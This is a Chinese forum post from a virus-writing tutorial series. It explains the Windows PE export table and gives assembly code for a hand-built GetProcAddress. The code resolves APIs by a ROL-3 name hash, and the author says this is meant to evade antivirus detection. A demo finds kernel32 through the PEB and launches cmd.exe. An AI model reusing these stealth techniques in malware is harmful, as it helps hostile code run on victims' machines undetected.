发新话题
打印

[Virus专题]1.2 - 3.hash扫描获得api函数地址

[Virus专题]1.2 - 3.hash扫描获得api函数地址

4. hash扫描获得api函数地址


       
        今天这篇文章也是病毒编写中很重要的一篇文章,“hash扫描获得api函数地址”,通过它我们的病毒就可以在宿主程序中调用相应平台的库函数。呼,说白一点就是实现一个自己的GetProcAddress函数,然后通过上节课的所讲解的思路获得Kernel32基地址,然后来搜索api函数地址。


        这篇文章我分为2个栏目:

        1. 搜索获得api函数地址的实现。

        2. hash算法搜索获得api函数地址的实现。
       
        ;;;;写文章比写代码累多了, 希望辛劳的成果能使大家有所收获,也不枉我此套专题。。。。。。。

;-------------------------------------------------
       
        1. 搜索获得api函数地址的实现:

        Windows和之前的dos最大的一个特色就是采用了动态链接库, 这样我们省了很多的内存。我们可以想象一下如果我们的程序都采用静态库的话,那么我们的所有程序所占内存是相当庞大的,而

Windows采用了动态链接库(这样保证了物理内存仅有一份此动态链接库的copy),这些动态链接库分别提供给我们用户了各种各样的编程接口来实现相应的功能,当我们用户程序调用它时必须包含相应的

库文件、函数名称,这样我们的PE LOADER在加载时才会将相应的动态链接库加载我们的进程的内存空间(实际上windows是通过分页机制将这些DLL的物理内存地址指向我们程序虚拟空间的页表中,这样

我们共享的是同一物理内存)。

        那么我们上面介绍了,windows通过动态链接库提供给我们用户了各种各样的编程接口函数,那么一般的动态链接库的后缀是“.dll”,当然其他的后缀也可以,例如“.exe”, “.sys”,只不

过它们不常用罢了。因为加载器判断的不仅仅是文件后缀名,还有我们的文件结构。
       
        所以一般我们调用某个动态库的函数,我们必须增加这个动态库的导入表结构,这样我们的windows 加载器才会把这个动态库加载到我们的内存空间,并修正导入表结构的导入函数地址,以便

我们的程序能正常的调用函数。那么这个动态链接库是如何输出函数来供我们的用户程序调用呢?它实际上是采用输出表结构来描述本dll需要导出哪些函数来供其他的程序调用,这样其他的用户程序才

能正常的调用此动态链接库的输出函数。

        那么关键的点我们已经知道了,那就是动态链接库是采用输出表结构来描述导出函数。那么如果我们调用某动态链接库的输出函数,首先我们肯定是要查找到这些输出函数的地址?在那里查找

?我们肯定是在输出表结构。好明白这点后,我们来看输出表结构。

struct IMAGE_EXPORT_DIRECTORY
  Characteristics           dd      ?  ;未使用
  TimeDateStamp             dd      ?  ;文件生成时间
  MajorVersion              dw      ?  ;主版本号,一般为0
  MinorVersion              dw      ?  ;次版本号,一般为0
  nName                     dd      ?  ;模块的真实名称
  nBase                     dd      ?  ;基数, 加上序数就是函数地址数组的索引值
  NumberOfFunctions         dd      ?  ;AddressOfFunctions阵列的元素个数
  NumberOfNames             dd      ?  ;AddressOfNames阵列的元素个数
  AddressOfFunctions        dd      ?  ;指向函数地址数组
  AddressOfNames            dd      ?  ;函数名字的指针地址
  AddressOfNameOrdinals     dd      ?  ;指向输出序列号数组
ends
       

        为了更好的理解输出表结构,我们采用fasm编写一段自己定义输出表结构的dll代码。
复制内容到剪贴板
代码:
        format PE GUI 4.0 DLL
        include 'win32ax.inc'
        entry        __DllEntry
       
.text

;++
;
; BOOL
;   DllMain(
;   IN HINSTANCE hDllHandle,
;   IN DWORD     nReason,   
;   IN LPVOID    Reserved   
;   )
;
; Routine Description:
;
;    测试文件是否是PE文件格式。
;
; Arguments:
;
;    (esp)          - return address
;
;    Data   (esp+4) - hDllHandle
;             (esp+8) - nReason
;             (esp+12)- Reserved
;
; Return Value:
;
;    eax = TRUE, initialization succeeds; eax = FALSE, initialization fails。
;
;--

__DllEntry:
        xor        eax, eax
        inc        eax                       
        ret        4*3



__MyMessageBox:
        xor        eax, eax
        push        eax
        @pushsz        'Dll'
        @pushsz        '一个dll自定导出表结构例子'
        push        eax
        call        [MessageBox]
        ret
       
.idata

section        '.edata' export data    readable

__IMAGE_EXPORT_DIRECTORY:
        dd        0, 0, 0, rva szName, 0, 1, 1
        dd        rva Address_Tab
        dd         rva FuncName_Tab
        dd        rva Ordinals_Tab
       

        ;dll name
        szName        db 'Msg.dll', 0
       
        ;
       
        Address_Tab:
                dd rva __MyMessageBox         ;取__MyMessageBox过程 rva地址
       
        FuncName_Tab:
                dd rva ($+4)                 ; ($ + 4) ptr "MyMessageBox"
                db 'MyMessageBox', 0
       
        Ordinals_Tab:
                dw 0
       
       
.fixups
;++
        OK,以上这段代码是实现自己定义输出表结构来实现输出__MyMessageBox过程的动态链接库,我们可以测试下看我们定义的输出表结构是否成功。再写一段过程,代码如下,然后运行,看我们DLL

指定的输出函数过程是否正常运行。

        invoke        LoadLibrary, 'Msg.dll'
        invoke        GetProcAddress, eax, 'MyMessageBox'
        call        eax
        ret

        我们可以看到首先调用LoadLibray函数来将我们的Msg.dll加载到我们进程的内存空间中,获取Msg.dll加载后的内存地址后,调用GetProcAddress来获得MyMessageBox函数的地址。我们上节课

程已经学习了如何查找kernel32.dll的基地址,那么我们只要实现一个GetProcAddress函数就可以轻松的获取kernel32.dll中的函数地址了。好,接下来我们的重点放在如何实现GetProcAddress函数上



   ;--

        我们看刚刚上面我们自己定义输出表结构的动态链接库代码,看我定义输出表结构,我们来模拟下GetProcAddress的思路。
       
        举个例子:
       
        Ordinals_Tab:
                dw 0 ;索引 0
                dw 1 ;索引 1
        Address_Tab:
                rva __MyMessageBox  ;对应 索引 0
                rva __MyMessageBox2 ;对应 索引 1
        nBase = 0


        由于Ordinals_Tab 序号表中的序号值,对应的是Address_Tab的索引。

        那么我们搜索函数的时候,只需要获得对应函数的在“Ordinals_Tab中的序号值”,然后通过(序号值 + 索引基数)就可以在Address_Tab中进行索引查找,得到的就是对应函数的RVA地址。简单

说就是
        mov        eax, [Address_Tab + ((Ordinals_Tab中的序号值 + 索引基数)*4)]

        那么,如何取得对应函数的在“Ordinals_Tab中的序号值”?

        这里我们可以在循环匹配函数名称的时候,如果没有匹配成功则将Ordinals_Tab的地址+2   (+2是因为,Ordinals_Tab表中的成员是dw类型,每次+2则表示指向下一个函数的Ordinals)。如果一旦

匹配成功,则直接读取Ordinals_Tab地址中的序号值,然后乘以4, +Address_Tab来读取函数的RVA地址,了解了思路是不是很简单?

        那好,就让我们来实现代码考验下你是否到底明白了?
       
编写代码如下:
复制内容到剪贴板
代码:
;++
;
; int
;  GetApi(
;   IN HINSTANCE hModule,
;   IN char *    lpApiString,     
;   )
;
; Routine Description:
;
;    获取指定函数的内存地址
;
; Arguments:
;
;    (esp)          - return address
;
;    Data   (esp+4) - hDllHandle
;             (esp+8) - lpApiString
; Return Value:
;
;    eax -> Function Mem Address。
;
;--

GetApi:
        pop         edx
        pop        eax                        ;hModule
        pop        ecx                        ;lpApiString
        push        edx       
        pushad
        mov        ebx, eax                ;hModule        ebx
        mov        edi, ecx                ;lpApiString        edi       
        xor        al, al
  .Scasb:
        scasb
        jnz        .Scasb
        dec        edi
        sub        edi, ecx
        xchg        edi, ecx                ; edi = lpApiString, ecx = ApiLen
       
        mov        eax, [ebx+3ch]       
        mov        esi, [ebx+eax+78h]        ;Get Export Rva
        lea        esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
        lodsd
        xchg        eax, edx                ; edx = NumberOfNames
        lodsd
        push        eax                        ; [esp] = AddressOfFunctions
        lodsd
        xchg        eax, ebp
        lodsd
        xchg        eax, ebp                ; ebp = AddressOfNameOrdinals, eax = AddressOfNames
        add        eax, ebx
       
        mov        [esp+4*6], edi                ;临时存储
        mov        [esp+4*5], ecx                ;临时存储

  .LoopScas:       
        dec        edx
        jz        .Ret
        mov        esi, [eax+edx*4]
        add        esi, ebx
        repz        cmpsb
        jz        .GetAddr
        mov        edi, [esp+4*6]               
        mov        ecx, [esp+4*5]               
        jmp        .LoopScas
       
  .GetAddr:
          shl        edx, 1
          add        ebp, edx
        movzx        eax, word [ebp+ebx]
        shl        eax, 2
        add        eax, [esp]
        mov        eax, [ebx+eax]
        add        eax, ebx
  .Ret:
          pop        ecx
          mov        [esp+4*7], eax
        popad
        ret
分析:
        代码其余部分很好理解,我们重点来看这里。


.LoopScas:       
        dec        edx
        jz        .Ret
        mov        esi, [eax+edx*4]
        add        esi, ebx
        repz        cmpsb
        jz        .GetAddr
        mov        edi, [esp+4*6]               
        mov        ecx, [esp+4*5]               
        jmp        .LoopScas
       
  .GetAddr:
          shl        edx, 1
          add        ebp, edx
        movzx        eax, word [ebp+ebx]
        shl        eax, 2
        add        eax, [esp]
        mov        eax, [ebx+eax]
        add        eax, ebx

我们之前的思路说:

        在循环匹配的时候, 如果失败则将Ordinals_Tab的地址+2。但这里我们采用的是从后往前循环并通过NumberOfNames来作为索引来取AddressOfNames成员,所以我们就不能用Ordinals_Tab的地址

+2了(快点快点发挥你的想象力,自己实现个Ordinals_Tab的地址+2思路的函数)。

        不过我们循环的时候是取得NumberOfNames来作为循环条件,这个成员表示的是AddressOfNames的元素个数。所以我们循环匹配函数的时候通过NumberOfNames - 1,如果匹配成功的话此时的

[NumberOfNames*2], 将是Ordinals_Tab的索引值。

        然后我们通过 mov eax, [Ordinals_Tab + (索引值 *2)]来获得 AddressOfFunctions的索引值。然后通过 mov eax, [AddressOfFunctions + (索引值*4)]来获得函数地址。


        思路就是这样,我想大家目前更多的事情应该去思考。  o(∩_∩)o... 祝你好运!
       
;---------------------------------------------------------------------

2. hash算法搜索获得api函数地址的实现


        紧接着我们要讲解到的是hash算法搜索获得api函数地址。如上面的代码,我们一般要获得一个函数的地址,通常采用的是明文,例如定义一个api函数字符串"MessageBoxA",然后在

GetProcAddress函数中一个字节一个字节进行比较。这样弊端很多,例如如果我们定义一个杀毒软件比较敏感的api函数字符串,那么可能就会增加杀毒软件对我们的程序的判定值,而且定义这些字符串

还有一个弊端是占用的字节数较大。我们想想如何我们的api函数字符串通过算法将它定义成一个4字节的值,然后在GetProcAddress中把AddressOfNames表中的每个地址指向的api字符串通过我们的算法

压缩成4字节值后,与我们之前定义的4字节值进行判断,如果匹配成功则读取函数地址。
       

        废话就不多说,我们来看一种rol 3移位算法,这个算法是每次将目的地址循环向左移动3位,然后将低字节与源字符串的每个字节进行异或。算法很精巧方便。代码如下:
复制内容到剪贴板
代码:
       
;++
;
; int
;   GetRolHash(  
;   IN char * lpApiString   
;   )
;
; Routine Description:
;
;    计算ApiString Hash值
;
; Arguments:
;
;    (esp)          - return address
;
;    Data   (esp+4) - lpApiString
;
; Return Value:
;
;    eax = Hash String
;
;--
GetRolHash:
        pop        ecx
        pop        eax
        push        ecx
        push        esi
        xor        edx, edx
        xchg        eax, esi
        cld
  .Next:
        lodsb
        test        al, al
        jz        .Ret
        rol        edx, 3
        xor        dl, al
        jmp        .Next
       
  .Ret:
          xchg        eax, edx
        pop        esi
        ret
       
还有很多方便小巧的算法,例如ROR 13等算法。我比较喜欢ROL 3, 所以推荐这个。那么我们接下来,我们来实现个匹配hash字符串的GetProcAddress,其实它和我们上面的基本一样,只不过它

将函数名表的字符串通过我们的算法过程获得hash值后与我们之前定义的hash值进行匹配,匹配成功则获得对应函数的地址。


        过程如下:
复制内容到剪贴板
代码:
;++
;
; int
;  GetApi(
;   IN HINSTANCE hModule,
;   IN int      iHashApi,     
;   )
;
; Routine Description:
;
;    获取指定函数的内存地址
;
; Arguments:
;
;    (esp)          - return address
;
;    Data   (esp+4) - hDllHandle
;             (esp+8) - iHashApi
; Return Value:
;
;    eax -> Function Mem Address。
;
;--

GetApi:
        pop         edx
        pop        eax                        ;hModule
        pop        ecx                        ;lpApiString
        push        edx       
        pushad
        mov        ebx, eax                ;hModule        ebx
        mov        edi, ecx                ;iHashApi        edi       
       
        mov        eax, [ebx+3ch]       
        mov        esi, [ebx+eax+78h]        ;Get Export Rva
        lea        esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
        lodsd
        xchg        eax, edx                ; edx = NumberOfNames
        lodsd
        push        eax                        ; [esp] = AddressOfFunctions
        lodsd
        xchg        eax, ebp
        lodsd
        xchg        eax, ebp                ; ebp = AddressOfNameOrdinals, eax = AddressOfNames
        add        eax, ebx
        xchg        eax, esi                ; esi = AddressOfNames
       
       
  .LoopScas:       
        dec        edx
        jz        .Ret
        lodsd
        add        eax, ebx
       
        push        edx
       
        ;计算hash字符串
        push        eax
        call        GetRolHash
       
        pop        edx
        cmp        eax, edi
        jz        .GetAddr
       
        add        ebp, 2
        jmp        .LoopScas
       
  .GetAddr:
        movzx        eax, word [ebp+ebx]
        shl        eax, 2
        add        eax, [esp]
        mov        eax, [ebx+eax]
        add        eax, ebx
  .Ret:
          pop        ecx
          mov        [esp+4*7], eax
        popad
        ret
OK,为了验证没有问题。我们来写一段简单的验证过程。。
复制内容到剪贴板
代码:
        format PE GUI 4.0
        include 'win32ax.inc'
        entry        __Entry
       
.text

               
__Entry:
        call        GetKrnlBase3
       
        push        0016EF74Bh  ; Hash WinExec
        push        eax
        call        GetApi
       
        push        SW_SHOW
        @pushsz        "cmd.exe"
        call        eax
        ret



;++
;
; int
;  GetApi(
;   IN HINSTANCE hModule,
;   IN int      iHashApi,     
;   )
;
; Routine Description:
;
;    获取指定函数的内存地址
;
; Arguments:
;
;    (esp)          - return address
;
;    Data   (esp+4) - hDllHandle
;             (esp+8) - iHashApi
; Return Value:
;
;    eax -> Function Mem Address。
;
;--

GetApi:
        pop         edx
        pop        eax                        ;hModule
        pop        ecx                        ;lpApiString
        push        edx       
        pushad
        mov        ebx, eax                ;hModule        ebx
        mov        edi, ecx                ;iHashApi        edi       
       
        mov        eax, [ebx+3ch]       
        mov        esi, [ebx+eax+78h]        ;Get Export Rva
        lea        esi, [esi+ebx+IMAGE_EXPORT_DIRECTORY.NumberOfNames]
        lodsd
        xchg        eax, edx                ; edx = NumberOfNames
        lodsd
        push        eax                        ; [esp] = AddressOfFunctions
        lodsd
        xchg        eax, ebp
        lodsd
        xchg        eax, ebp                ; ebp = AddressOfNameOrdinals, eax = AddressOfNames
        add        eax, ebx
        xchg        eax, esi                ; esi = AddressOfNames
       
       
  .LoopScas:       
        dec        edx
        jz        .Ret
        lodsd
        add        eax, ebx
       
        push        edx
       
        ;计算hash字符串
        push        eax
        call        GetRolHash
       
        pop        edx
        cmp        eax, edi
        jz        .GetAddr
       
        add        ebp, 2
        jmp        .LoopScas
       
  .GetAddr:
        movzx        eax, word [ebp+ebx]
        shl        eax, 2
        add        eax, [esp]
        mov        eax, [ebx+eax]
        add        eax, ebx
  .Ret:
          pop        ecx
          mov        [esp+4*7], eax
        popad
        ret


;++
;
; int
;   GetKrnlBase3(
;    void
;   )
;
; Routine Description:
;
;    获得kernel32基地址
;
; Arguments:
;
;    (esp)          - return address
;
;
; Return Value:
;
;    eax =  krnl32 base
;
;--

GetKrnlBase3:
        mov        eax, [fs:30h]
        mov        eax, [eax+0ch]
        mov        eax, [eax+1ch]
        mov        eax, [eax]
        mov        eax, [eax+8h]
        ret        
       
       
;++
;
; int
;   GetRolHash(  
;   IN char * lpApiString   
;   )
;
; Routine Description:
;
;    计算ApiString Hash值
;
; Arguments:
;
;    (esp)          - return address
;
;    Data   (esp+4) - lpApiString
;
; Return Value:
;
;    eax = Hash String
;
;--
GetRolHash:
        pop        ecx
        pop        eax
        push        ecx
        push        esi
        xor        edx, edx
        xchg        eax, esi
        cld
  .Next:
        lodsb
        test        al, al
        jz        .Ret
        rol        edx, 3
        xor        dl, al
        jmp        .Next
       
  .Ret:
          xchg        eax, edx
        pop        esi
        ret
       
       
;运行后,程序运行一个cmd窗口,然后退出线程。。



例子:
push        0016EF74Bh  ; Hash WinExec
push        eax
call        GetApi

这段例子代码我采用直接压入对应的函数字符串的hash值(如 WinExec 0016EF74Bh),其实我们利用宏完全可以做到在预编译阶段进行hash计算,这个就留到下下节课来讲解吧,为了大家方便,给大家发

布一个Hash Api String计算器。

如下附件图。。




好了,今天这篇文章就到这里了。大家再见。。总算今天下午把这篇文章给赶出来了。已经快接近0点,大家接着观看吧。。
Export例子.rar (1.7 KB)
HashImport.rar (1.46 KB)
NoImport.rar (1.77 KB)
HashString计算器.rar (259.1 KB)

[ 本帖最后由 xxfish 于 2009-4-17 12:00 编辑 ]

TOP

学习了,谢谢楼主分享

TOP

发新话题
最近访问的版块